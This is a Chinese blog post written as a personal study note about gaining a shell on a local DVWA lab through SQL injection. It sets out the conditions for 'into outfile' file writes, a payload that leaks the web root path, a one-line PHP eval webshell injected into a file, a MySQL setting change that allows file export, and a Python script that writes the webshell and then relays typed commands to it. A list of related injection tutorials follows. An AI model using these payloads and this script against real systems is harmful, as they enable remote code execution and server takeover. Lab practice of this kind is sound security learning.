DVWA从注入到GETSHELL
好好过你的生活,不要老是忙着告诉别人你在干嘛。
最近在复习学过的东西,自己就重新搭了个dvwa来学习新思路,写一些简单的脚本来练习写代码的能力。
众所周知SQL注入的危害是相当大的,对于每个老司机来说,如果发现注入点并可以利用的话,除了脱裤当然是猜解出管理员的用户名密码,后台登陆上传webshell了,虽然这些过程并不一定一路通顺,只是一般的流程,中途会遇到各种各样的问题,这些以后再说,当我这个菜比都学会了在分享出来吧。
今天我们说说利用sql注入漏洞写入webshell。当我们发现了注入漏洞,但是却找不到后台,该怎么办呢,如果数据库管理员权限比较大的话,我们可以通过sql注入向网站写入shell。
写入webshell的前提条件:
1.select into outfile方法可用(允许导出文件)
2.我们需要知道网站所在的绝对路径
3.我们有足够的权限
首先我们确定了注入点,接下来就是爆一下网站的绝对路径:
在输入框中输入,1' union select 'x','x' into outfile 'xx' -- 利用错误的sql语句,使数据库报错并返回绝对路径
现在已经获得了网站的绝对路径,接下来就是利用sql注入写shell了,在输入框中插入 1' union select "<?php @eval($_GET['cmd'])?>","hello admin" into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\dvwa\\hello.php' (需要注意,是两个"\") 点击提交,我们看一下是否上传成功
当我们输入 select 'xx' into outfile 'xxxx/xx/xx' -- 时 可能会遇到一下情况:
解决办法:找到my.ini文件 在最后一行加上一句 secure_file_prv="/"重启mysql即可。
============================================================附上自己写的自动化辣鸡代码=========================================================================
# -*- utf-8 -*-
import requests
import re headers = { 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'zh-CN,zh;q=0.8',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Cookie':'security=low; PHPSESSID=pie6uqttjqtnadq1b5dp8640u1',
'Host':'192.168.86.129',
'Referer':'http://192.168.86.129/dvwa/security.php',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36' } url = raw_input('url:')
print '='*15,u'大爷稍等','='*15
payload = '%27+union+select+"<%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3F>"%2C"hello+admin"+into+outfile+%27C%3A%5C%5CphpStudy%5C%5CPHPTutorial%5C%5CWWW%5C%5Cdvwa%5C%5Chello.php%27+--+&Submit=Submit#'
url1 = requests.get(url+payload,headers=headers)
url2 = 'http://192.168.86.129/dvwa/hello.php'
url3 = requests.get(url2,headers=headers)
url4 = re.findall('<body>(.*?)</body>',url3.text)
if 'hello' in url3.text:
print u'webshell已写入,路径为:http://192.168.86.129/dvwa/hello.php'
else:
print u'写入失败'
print u'大爷您请便!'
url5 = 'http://192.168.86.129/dvwa/hello.php?cmd='
url6 = raw_input()
url7 = requests.get(url5+url6,headers=headers)
url8 = re.findall('<body>(.*?)</body>',url7.content) print url7.content
以此记录自己学过的知识,以防忘记,每天进步一点,共勉。
DVWA从注入到GETSHELL的更多相关文章
- 《11招玩转网络安全》之第四招:low级别的DVWA SQL注入
以DVWA为例,进行手工注入,帮助读者了解注入原理和过程. 1.启动docker,并在终端中执行命令: docker ps -a docker start LocalDVWA docker ps 执行 ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
- [漏洞案例]thinkcmf 2.x从sql注入到getshell实战
0X00 前言 这个案例是某项目的漏洞,涉及敏感的地方将会打码. 很久没更新博客了,放一篇上来除除草,新的一年会有所转变,以后会有更多领域的研究. 下面是正文 0X01 正文 某厂商某个网站用的是th ...
- DVWA命令注入扣动分析
本周学习内容: 1.学习web应用安全权威指南: 2.观看安全学习视频: 实验内容: 进行DVWA命令注入漏洞 实验步骤: Low 1.打开DVWA,进入DVWA Security模块将 Level修 ...
- DVWA sql注入low级别
DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELE ...
- SQL注入到getshell
SQL注入到getshell 通过本地 pikachu来复现 前提: 1.存在SQL注入漏洞 2.web目录具有写入权限 3.找到网站的绝对路径 4.secure_file_priv没有具体值(se ...
- ZZZPHP1.61 代码审计-从SQL注入到Getshell
近期有很多小伙伴在后台留言想看关于代码审计的文章,其实有关审计的文章网上资源是比较多的,但是从代码审计开始到结束的这类文章却少之甚少. 今天要讲解的ZZZPHP1.61这套审计漏洞比较多,SQL注入漏 ...
- 《11招玩转网络安全》之第五招:DVWA命令注入
首先还是将DVWA的安全级别设置为Low,然后单击DVWA页面左侧的Command Injection按钮. 图5-1 Low级别的命令注入 这个就是最典型的命令注入接口.在文本框中输入一个IP ...
- dvwa——命令注入&文件包含
命令注入 commond_injection 源码.分析.payload: low: <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input ...
随机推荐
- SPSSAU新功能上线:高级公式、综合得分一键计算!
一直关注我们的朋友们一定会发现,近期SPSSAU增添了很多新功能. 我们精挑细选出6个最常使用的功能,介绍给大家,看看这些新功能你有没有解锁成功呢? 01 一键删除无效样本 “无效样本”功能中,添加了 ...
- Maven通解
参考博文:通俗理解maven 该篇文章篇幅很长,大概的思路如下 maven的介绍,初步认识,获取jar包的三个关键属性 --> 介绍仓库(获取的jar包从何而来)-->用命令行管理ma ...
- 数据操纵DML
数据操纵DML 1. 在dept表中插入两行数据 (1)50,'IT','SHENYANG';(2)60,'HR','DALIAN'; 2. 设置保存点beforeup 3. 更新dept表,将60号 ...
- 洛谷 P3951 NOIP 2017 小凯的疑惑
洛谷 P3951 NOIP 2017 小凯的疑惑 题目描述 小凯手中有两种面值的金币,两种面值均为正整数且彼此互素.每种金币小凯都有 无数个.在不找零的情况下,仅凭这两种金币,有些物品他是无法准确支付 ...
- Java面试题(反射篇+对象拷贝篇)
反射 57.什么是反射? 反射主要是指程序可以访问.检测和修改它本身状态或行为的一种能力 Java反射: 在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否 ...
- 火狐Firefox 52.90版是最后一个支持WinXP和Vista的版本
Firefox 52.90版是最后一个支持 Windows XP 和 Windows Vista 的升级版.(参考:https://support.mozilla.org/zh-CN/kb/firef ...
- vue刷新数组
困扰我两天的问题被一行代码解决了!!! 最近在做某个功能时用到了v-for,页面内容都是根据父页面传递过来的数组生成的,但是当我改变数组内容时页面不会跟着改变.这个问题足足困扰了我两天时间,最终下面的 ...
- Kafka Broker源码:网络层设计
一.整体架构 1.1 核心逻辑 1个Acceptor线程+N个Processor线程(network.threads)+M个Request Handle线程(io threads) 多线程多React ...
- 多商铺平台手机电脑自适应宣传展示平台店铺javassh项目代码线上
部署运行:eclipse 建议使用jdk 1.8 + ,Tomcat 8.0 + 系统介绍: 1.网站后台采用主流的 SSH框架 jsp JSTL,网站前台采用Angular jS框架 2.网站前端采 ...
- 免费领CRMEB移动社交电商系统源码与授权
移动电商风起云涌,直播带货重塑销售模式,传统商业更是举步维艰,各行各业转型移动电商迫在眉睫,拥有一款好的移动社群社交电商系统成为众多企业与商家的心病! 你曾是否被那些劣质的移动电商系统搞得心力憔悴? ...